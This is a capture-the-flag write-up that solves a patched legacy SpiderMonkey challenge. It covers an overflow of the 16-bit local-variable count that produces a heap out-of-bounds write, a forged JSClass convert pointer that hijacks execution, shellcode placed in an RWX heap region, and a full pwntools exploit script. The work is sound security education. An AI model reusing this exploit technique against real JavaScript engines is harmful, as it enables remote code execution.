Analysis
The challenge description gives a hint on the vulnerability and the patch gives an idea of which part of the code we should look at.
First, I followed the link from the description: https://github.com/ehsan/mozilla-cvs-history/commit/e3ba7ebdb650 leading to an old commit on JSRef project whose purpose was to fix a vulnerability related to the number of local variables in a function. In this commit we can see different changes similar to this one:
if (clasp == &js_FunctionClass) {
JS_ASSERT(sprop->getter == js_GetLocalVariable);
JS_ASSERT((sprop->flags & SPROP_HAS_SHORTID) &&
- sprop->shortid < fun->nvars);
+ (uint16) sprop->shortid < fun->nvars);
} else if (clasp == &js_CallClass) {
Casting sprop->shortid of a variable to a uint16 type instead of uintN.
I did some further research on that bug, trying to find explanations that could help me with the challenge. However, even though it initially seemed related, it turns out that it did not address the exact same issue that I exploited in the challenge, so I did not investigate this historical bug any further.
Maybe I missed something or solved the challenge in an unintended way, but at least I did not rely on that for the rest of the solve.
So after that, I looked into the patch file given with the challenge. There are 3 major changes:
- The main function allocates a large portion of memory on the heap with RWX protections. And calls the garbage collector (
GC) to reset the state of the managed heap. The call toGCalso prints the address of the heap break as it was done in the Spidersaurus challenge:before 4050, after 4041, break 58346000
main(int argc, char **argv)
{
@@ -1164,6 +1166,11 @@
setbuf(stderr,0);
#endif
+ setvbuf(stdout, NULL, _IONBF, 0);
+ /* preparing future works: implement JIT compiler on Lunix */
+ JIT_buffer = (unsigned char *)malloc(PAGE_SIZE);
+ mprotect((void *)(((unsigned int)JIT_buffer) & 0xFFFFF000), -1, PROT_READ|PROT_WRITE|PROT_EXEC);
+
version = JSVERSION_DEFAULT;
#ifdef XP_UNIX
while ((c = getopt(argc, argv, "v:")) != -1) {
@@ -1210,6 +1217,8 @@
if (!JS_DefineProperties(cx, it, its_props))
return 1;
+ GC(cx, NULL, 0, NULL, NULL);
+
The next two patches are in the JavaScript interpreter (file jsinterp.c):
- The first change adds debug information in the
js_Invokefunction which is called when a JavaScript function call is triggered. It prints on stderr the value and address of some internal structures such as the function JSObject (funobj) or its internal JSClass (clasp).
clasp = OBJ_GET_CLASS(cx, funobj);
if (clasp != &js_FunctionClass) {
/* Function is inlined, all other classes use object ops. */
+ print_hex((unsigned int)funobj->slots);
+ print_hex((unsigned int)clasp);
+ print_hex((unsigned int)clasp->convert);
+ print_hex(*(unsigned int *)(clasp->convert));
ops = funobj->map->ops;
Note that clasp->convert and the value it points to are printed and then clasp->convert is called as a function in following lines. This will be useful later.
- The second one is in the
js_Interpretfunction. This function is the core of the opcode dispatch loop. It prints on stderr some debug info in a specific opcode case:JSOP_SETVAR, which is responsible for setting the value of local variables in functions.
vp = &fp->vars[slot];
GC_POKE(cx, *vp);
*vp = sp[-1];
+ if (slot == 0) print_hex((unsigned int)vp);
break;
There is an interesting check on those lines :
case JSOP_SETVAR:
obj = NULL;
slot = (uintN)GET_VARNO(pc);
PR_ASSERT(slot < fp->fun->nvars);
vp = &fp->vars[slot];
GC_POKE(cx, *vp);
*vp = sp[-1];
if (slot == 0) print_hex((unsigned int)vp); // line added by the patch
break;
Notice the PR_ASSERT(slot < fp->fun->nvars); where the slot (acting like the “id” or the “index”) of the local variable is compared to the number of variables in the current function (fp->fun). This assert is meant to prevent out of bound read/writes on fp->vars. However, looking at its definition in the code we can see that since DEBUG mode is not used, this PR_ASSERT actually does nothing:
#ifdef DEBUG
#define PR_ASSERT(ex) ((ex) ? (void)0 : pr_AssertBotch(#ex, __FILE__, __LINE__))
#else
#define PR_ASSERT(ex) /* nothing */
#endif
Note: If you look back at the patch diff file of Spidersaurus you can notice that PR_ASSERT used in those specific cases were actually replaced by assert.
This is very probably to prevent us from exploiting the same vulnerability on both challenges. This notice is not very useful to solve the challenge but I think it gives one more hint that this part plays a role in the vulnerability. From this we can guess that we will probably exploit a way to make slot > fp->fun->nvars at some point.
With those three patches we have a RWX buffer on the heap, a native function call with some debug information and faulty safety checks. These are all important information that we will rely on for later exploitation but where is the vulnerability exactly?
To better understand where it is and how to exploit it, let’s dive a little more into how the interpreter works.
Understanding the code
Here is a higher level view of how the engine processes a JavaScript script and may call our functions of interest:
flowchart TD
A["main()"] --> B["Process()"]
subgraph Compilation["Parsing / Compilation "]
B --> C["JsCompileTokenStream()"]
C --> D["GenerateScript()"]
D --> E["JS_ExecuteScript()"]
end
subgraph Runtime["JavaScript Runtime"]
E --> F["js_Execute()"]
F --> G["Set stack frame"]
G --> H["js_Interpret()"]
end
subgraph Dispatch["Opcode Dispatch"]
H --> I{"Switch on JS opcodes"}
I --> J["JSOP_CALL"]
I --> L["JSOP_SETVAR"]
J --> K["js_Invoke(argc=nb_args)"]
L --> M["if (slot == 0) print_hex((unsigned int)vp)"]
end
classDef entry fill:#dbeafe,stroke:#2563eb,color:#1e3a8a
classDef compile fill:#dcfce7,stroke:#16a34a,color:#14532d
classDef runtime fill:#fef3c7,stroke:#d97706,color:#78350f
classDef dispatch fill:#f3e8ff,stroke:#9333ea,color:#581c87
class A,B entry
class C,D,E compile
class F,G,H runtime
class I,J,K,L,M dispatch
While Spidersaurus exploited a vulnerability in the parsing/compilation process, this challenge focuses on a runtime vulnerability. More specifically we will look at how functions are handled during bytecode interpretation.
As many of the things we deal with in JavaScript, functions are JSObject. Here are some definitions of this structure and some of its members (defined in jsobj.h and jsscope.h):
struct JSObject {
JSObjectMap *map;
jsval *slots;
};
struct JSObjectMap {
jsrefcount refs; /* count of all referencing objects */
JSObjectOps *ops; /* high level object operation vtable */
uint32 nslots; /* length of obj->slots vector */
uint32 freeslot; /* index of next free obj->slots element */
};
struct JSScope {
JSObjectMap map; /* base class state */
JSObject *object; /* object that owns this scope */
JSScopeProperty *props; /* property list in definition order */
JSScopeProperty **proptail; /* pointer to pointer to last prop */
JSScopeOps *ops; /* virtual operations */
void *data; /* private data specific to ops */
};
Where a JSObjectMap can be casted into a JSScope that describes the “shape” of an object and holds the descriptions of the object’s properties. A slots is just an array of jsval containing the actual value of properties. The idea of splitting a JavaScript object representation into a “map/properties” and “slots/elements” is a pretty common structure in the different javascript engines and I used this old V8 blog post as a reference to understand the main ideas behind it: https://v8.dev/blog/fast-properties
So now that we know more about JavaScript objects, we can look into what a JSFunction looks like:
struct JSFunction {
jsrefcount nrefs; /* number of referencing objects */
JSObject *object; /* back-pointer to GC'ed object header */
JSNative call; /* native method pointer or null */
uint8 nargs; /* minimum number of actual arguments */
uint8 flags; /* bound method and other flags, see jsapi.h */
uint16 extra; /* number of arg slots for local GC roots */
uint16 nvars; /* number of local variables */
uint16 spare; /* reserved for future use */
JSAtom *atom; /* name for diagnostics and decompiling */
JSScript *script; /* interpreted bytecode descriptor or null */
};
We can see that the number of local variables is stored in the nvars field as a uint16. We can also take a closer look at how function variables are parsed during the compilation phase in the Variables function of jsparse.c:
if (getter == js_GetLocalVariable) {
sprop = (JSScopeProperty *)prop;
sprop->id = INT_TO_JSVAL(fun->nvars++);
}
Each local variable of a function is created as a JSObject and associated to a JSScopeProperty with an id set to the number of the variable. We can see that for each local variable, fun->nvars is incremented. However there is no check for an overflow on the value.
So what happens if a function has fun->nvars = 65535 and a new local variable is parsed? fun->nvars would be incremented and wrapped around back to fun->nvars = 0. This is the bug!
Vulnerability
That becomes dangerous when it comes to allocating the necessary space to store those variables in the function’s stackframe. Indeed, when a function is called, js_Invoke is executed and sets up a JSStackFrame structure for the current function:
struct JSStackFrame {
JSObject *callobj; /* lazily created Call object */
JSObject *argsobj; /* lazily created arguments object */
JSScript *script; /* script being interpreted */
JSFunction *fun; /* function being called or null */
JSObject *thisp; /* "this" pointer if in method */
uintN argc; /* actual argument count */
jsval *argv; /* base of argument stack slots */
jsval rval; /* function return value */
uintN nvars; /* local variable count */
jsval *vars; /* base of variable stack slots */
JSStackFrame *down; /* previous frame */
void *annotation; /* used by Java security */
JSObject *scopeChain; /* scope chain */
jsbytecode *pc; /* program counter */
jsval *sp; /* stack pointer */
uintN sharpDepth; /* array/object initializer depth */
JSObject *sharpArray; /* scope for #n= initializer vars */
JSPackedBool constructing; /* true if called via new operator */
uint8 overrides; /* bit-set of overridden Call properties */
JSPackedBool debugging; /* true if for JS_EvaluateInStackFrame */
JSPackedBool exceptPending; /* is there an uncaught exception? */
jsval exception; /* most-recently-thrown exception */
};
This structure is chained in a linked list to track function calls and holds a lot of information about the current function. Especially it contains the stack pointer sp which is a pointer into a large buffer allocated on the heap.
So js_Invoke starts by initialising and allocating a stack (in the heap) with sufficient space for the arguments and local variables. You can see a part of the process in the following lines:
/* Check for missing arguments expected by the function. */
nslots = (intN)((argc < minargs) ? minargs - argc : 0);
if (nslots) {
/* All arguments must be contiguous, so we may have to copy actuals. */
nalloc = nslots;
if ((pruword)(sp + nslots) > cx->stackPool.current->limit)
nalloc += argc;
/* Take advantage of the surplus slots in the caler's frame depth. */
surplus = (jsval *)mark - sp;
PR_ASSERT(surplus >= 0);
nalloc -= surplus;
/* Check whether we have enough space in the caller's frame. */
if (nalloc > 0) {
/* Need space for actuals plus missing formals minus surplus. */
newsp = js_AllocStack(cx, (uintN)nalloc, NULL);
if (!newsp) {
ok = JS_FALSE;
goto out;
}
/* If we couldn't allocate contiguous args, copy actuals now. */
if (newsp != mark) {
if (argc)
memcpy(newsp, frame.argv, argc * sizeof(jsval));
frame.argv = newsp;
frame.vars = frame.sp = newsp + argc;
RESTORE_SP(&frame);
}
}
/* Advance frame.vars to make room for the missing args. */
frame.vars += nslots;
/* Push void to initialize missing args. */
while (--nslots >= 0)
PUSH(JSVAL_VOID);
}
/* ====================================== VULNERABLE PART ======================================== */
/* Now allocate stack space for local variables. */
nslots = (intN)frame.nvars;
if (nslots) {
surplus = (intN)((jsval *)cx->stackPool.current->avail - frame.vars);
if (surplus < nslots) {
newsp = js_AllocStack(cx, (uintN)nslots, NULL);
if (!newsp) {
ok = JS_FALSE;
goto out;
}
if (newsp != sp) {
/* NB: Discontinuity between argv and vars. */
frame.vars = frame.sp = newsp;
RESTORE_SP(&frame);
}
}
/* ====================================== =============== ======================================== */
Here the problem is that the space allocated for local variables relies on frame.nvars which is set earlier in the function with:
nvars = fun->nvars;
...
frame.nvars = nvars;
But we’ve just seen that a function with 65536 variables would have fun->nvars = 0. Therefore, no space for the variables would be allocated. However instructions to interact with those variables were already added to the function’s bytecode! Especially it can contain opcodes to write their value on the js stack. For example the JSOP_SETVAR we have seen before:
case JSOP_SETVAR:
obj = NULL;
slot = (uintN)GET_VARNO(pc);
PR_ASSERT(slot < fp->fun->nvars); // does nothing
vp = &fp->vars[slot]; // fp->vars is intially set to fp->sp, points into the allocated function stack
GC_POKE(cx, *vp);
*vp = sp[-1]; // writes variable value into memory
if (slot == 0) print_hex((unsigned int)vp); // prints address of first local variable
break;
How does that affect the heap in practice?
The details for stack allocation can be found in the js_AllocStack function. But in practice we can directly look in memory how big the allocated buffer is and where it is allocated.
I created a first PoC with a JavaScript file defining a function with 65536 variables:
nvars = 65536
declarations = [f"v{i}" for i in range(nvars)]
assignements = [f"v{i} = {i}" for i in range(nvars)]
template = (
"function exploit() {\n"
f" var {', '.join(declarations)};\n"
f" {';\n '.join(assignements)};\n"
"}\n"
"exploit()"
)
with open("exploit.js", "w") as f:
f.write(template)
f.close()
Then, putting a breakpoint on the JSOP_SETVAR write operation in gdb, I could see where fp->vars was pointing to:
0x56577a8a <js_Interpret+8714> mov dword ptr [ecx + eax*4], edx // $ecx is fp->vars and $eax is slot
pwndbg> x/20dwx $ecx-0x2c
0x67fa3bd8: 0x00000000 0x00002021 0x00000000 0x67fa3bf0
0x67fa3be8: 0x67fa5bf3 0x67fa3c18 0x67fa3ba6 0x67fa3ba9
0x67fa3bf8: 0x67fa3b9e 0x565cd590 0x565cca10 0x565cd584
malloc-chunk $ecx-0x2c
PREV_INUSE
Addr: 0x67fa3bd8
Size: 0x2020 (with flag bits: 0x2021)
So the buffer is 0x2020 bytes long but fp->vars starts at ecx = 0x67fa3c04 so there is: 0x2020 - (0x67fa3c04 - 0x67fa3bd8) = 8180 bytes for local variables. But we actually have 65536 variables of 4 bytes each. That means, after the 2045th variable we have a 65536 * 4 - 8180 = 253964 bytes overflow on the heap! And the content of this buffer at offset i is simply the value of the ith variable!
Exploitation
Execution hijacking
Now we have an OOB write primitive on the heap! How do we turn that into code execution? The second patch gives a hint. Remember the clasp->convert that is being printed and then called in js_Invoke?
clasp = OBJ_GET_CLASS(cx, funobj);
if (clasp != &js_FunctionClass) {
/* Function is inlined, all othr classes use object ops. */
print_hex((unsigned int)funobj->slots); // added by the patch
print_hex((unsigned int)clasp); // added by the patch
print_hex((unsigned int)clasp->convert); // added by the patch
print_hex(*(unsigned int *)(clasp->convert)); // added by the patch
ops = funobj->map->ops;
/* Try converting to function, for closure and API compatibility. */
ok = clasp->convert(cx, funobj, JSTYPE_FUNCTION, &v);
This path triggers when (clasp != &js_FunctionClass) that means when the object we are trying to call is actually not a function. There are some valid cases where that happens but it could also be triggered in invalid cases. For example I tried with this simple JavaScript code:
obj = {}; obj();
And the debug prints were triggered!
└─$ echo "obj = {}; obj();" | ./spidersaurus-rex
before 4050, after 4041, break 576cb000
576BFD70
566A3C7C
566383B0
08EC8353
js: obj is not a function
What if, using the heap overflow, we could control clasp of a JSObject to make it point to controlled executable code?
That’s what I searched for. After some tries and research of malloc usage in the code I found a pretty interesting target: the slots!
Indeed, when a new JSObject is created, its slots array is a buffer malloced on the heap. And it happens that objects created in the current JavaScript function trigger slots allocations that are after the current stack buffer. That means we can overflow into it with our OOB write!
When first introducing JSObject earlier, I didn’t mention it but in fact, the first slots of a JSObject are reserved for special values defined in jsobj.h:
#define JSSLOT_PROTO 0
#define JSSLOT_PARENT 1
#define JSSLOT_CLASS 2
#define JSSLOT_PRIVATE 3
The third slot,JSSLOT_CLASS, stores a reference to the JSClass of the object, that is the clasp in js_Invoke!
Here is how this structure looks like:
struct JSClass {
char *name;
uint32 flags;
/* Mandatory non-null function pointer members. */
JSPropertyOp addProperty;
JSPropertyOp delProperty;
JSPropertyOp getProperty;
JSPropertyOp setProperty;
JSEnumerateOp enumerate;
JSResolveOp resolve;
JSConvertOp convert; // the pointer we need to replace to trigger code exec
JSFinalizeOp finalize;
/* Optionally non-null members start here. */
...
};
convert is the 9th field. Knowing this, we can create a fake JSClass structure inside the buffer we control, with convert set to an address we want to jump into. Then we just have to find the right offset to overwrite the clasp pointer of one of the variables. Every offset can be found relative to the address of the break leaked at the beginning.
Note: No specific libc or environment was provided so I just assumed the environment was the same as described in Spidersaurus, that is: debian 13 on amd64 with libc:i386. I’ve set all of that in a container to find every needed offsets in the challenge.
Important details:
- The values we set to the variables does not actually match the actual value present in memory. This is because every
jsvalueencodes the actual value and its type with a tag. Here is the definition of some of those tags:
/*
* Type tags stored in the low bits of a jsval.
*/
#define JSVAL_OBJECT 0x0 /* untagged reference to object */
#define JSVAL_INT 0x1 /* tagged 31-bit integer value */
#define JSVAL_DOUBLE 0x2 /* tagged reference to double */
#define JSVAL_STRING 0x4 /* tagged reference to string */
#define JSVAL_BOOLEAN 0x6 /* tagged boolean value */
And here is an example of how the values are encoded/decoded:
#define JSVAL_TO_INT(v) ((jsint)(v) >> 1)
#define INT_TO_JSVAL(i) (((jsval)(i) << 1) | JSVAL_INT)
So if we want to store the value 0xdeadbeef in memory we have to set the variable with value 0xdeadbeef >> 1 so when encoded it becomes 0xdeadbeef | TAG. Note that you can’t avoid the bits of the tag so if you set an INT variable for example, its lowest bit will always be 1. For more complex types such as Objects or Strings, the value stored in memory is actually a pointer to the GC alloced object encoded with the tag. In my case I exclusively used INT variables to be able to choose the content.
- I had to write my variables and fake objects after the 10th variable because I noticed that something is alloced at the beginning of the buffer, overwritting the first variables.
Shellcode setup
Now we can redirect execution to whatever address we want. But where actually?
The RWX memory region and the second hint from the description: “A JavaScript string can contain arbitrary binary content, for example, \u9090\u9090” draws a pretty clear idea: SHELLCODE !
Curious about the hint, I created a recognizable string in a JavaScript file and searched where it was allocated with gdb. It turned out that a string created before the function is called, is allocated in the RWX memory directly and always at a constant offset from the heap break!
Therefore, we just have to create a string with our shellcode as content and adjust the clasp->convert to point to it!
To find the exact offset I used again the container with the reproduced environment and searched for the bytes of “flag” since the shellcode contains the string “flag.txt” to open the file :
(gdb) info proc mappings
process 85
Mapped address spaces:
Start Addr End Addr Size Offset Perms File
0x5656f000 0x56572000 0x3000 0x0 r--p /chall/spidersaurus-rex
0x56572000 0x565c0000 0x4e000 0x3000 r-xp /chall/spidersaurus-rex
0x565c0000 0x565df000 0x1f000 0x51000 r--p /chall/spidersaurus-rex
0x565df000 0x565e0000 0x1000 0x6f000 r--p /chall/spidersaurus-rex
0x565e0000 0x565e2000 0x2000 0x70000 rw-p /chall/spidersaurus-rex
0x575f4000 0x57616000 0x22000 0x0 rwxp [heap]
0x57616000 0x733c9000 0x1bdb3000 0x0 rw-p [heap]
(gdb) find 0x575f4000, 0x57616000, 0x67616c66
0x57607f3b
0x5760954b
2 patterns found.
(gdb) x/20i 0x5760954b-0x10
0x5760953b: nop
0x5760953c: nop
0x5760953d: nop
0x5760953e: nop
0x5760953f: nop
0x57609540: push $0x1
0x57609542: decb (%esp)
0x57609545: push $0x7478742e
0x5760954a: push $0x67616c66
0x5760954f: mov %esp,%ebx
0x57609551: xor %ecx,%ecx
0x57609553: push $0x5
0x57609555: pop %eax
0x57609556: int $0x80
...
So we can jump at 0x5760954b-0x10 = 0x5760953b which is at offset 0x57616000 - 0x5760953b = 0xcac5 from the heap break.
Since we don’t have interactive access to the process I used a shellcode that simply reads the content of the flag file and writes it to stdout.
Note: I added some padding with nop operations before and after the shellcode because the encoding of jsvalues made the addresses unaligned.
Summary
Here is the final exploit script and a visual summary of what the heap looks like:
#!/usr/bin/env python
from pwn import *
import struct
HOST = "localhost"
PORT = 4000
EXPLOIT = "final_exploit.js"
context.arch = 'i386'
GDBSCRIPT = ""
def get_p():
p = remote(HOST, PORT)
return p
def bytes_to_utf16(data):
return ''.join(
f'\\u{int.from_bytes(data[i:i+2], "little"):04x}'
for i in range(0, len(data) - 1, 2)
)
def build_exploit(stack_add, shellcode_add):
offset = (0x20a0//4) + 2
shellcode = shellcraft.cat("flag.txt")
shellcode = b"\x90"*4*8 + asm(shellcode) + b"\x90"
log.info(f"shellcode: {shellcode}, len={len(shellcode)}")
nvars = 65536
declarations = [f"v{i}" for i in range(nvars)]
assignements = [f"v{i} = {i}" for i in range(nvars)]
assignements[0+12] = 'v12 = {"b": 12};'
assignements[1+12] = 'v13 = {"a": 1}'
# variable at offset of the slot
# let's us modify memory at this offset
# and change slots[2] = pointer to JSClass object
# make it point to begining of buffer = chunk+2*4 = fake JSClass struct
assignements[offset] = f"v{offset} = {(stack_add + 2*4) >> 1}"
# write fake JSClass struct from 3rd variable = chunk+2*8
convert_offset = 2 + 8
assignements[convert_offset] = f"v{convert_offset} = {shellcode_add >> 1}"
template = (
f"var str = '{bytes_to_utf16(shellcode)}';\n"
"function exploit() {\n"
f" var {', '.join(declarations)};\n"
f" {';\n '.join(assignements)};\n"
" v13();\n"
"}\n"
"exploit()"
)
with open(EXPLOIT, "w") as f:
f.write(template)
f.close()
p = get_p()
leak = p.recvline()
breakadd = int(leak.split(b"break ")[1].split(b"\n")[0], 16)
log.info(f"Break add : {hex(breakadd)}")
stack_add = breakadd + 0x119ba120
shellcode_add = breakadd - 0xcac5
build_exploit(stack_add, shellcode_add)
with open(EXPLOIT, "rb") as f:
exp = f.read()
p.send(exp)
p.shutdown('send')
resp = p.recvall()
print(resp)
FLAG: FCSC{e3b0c442....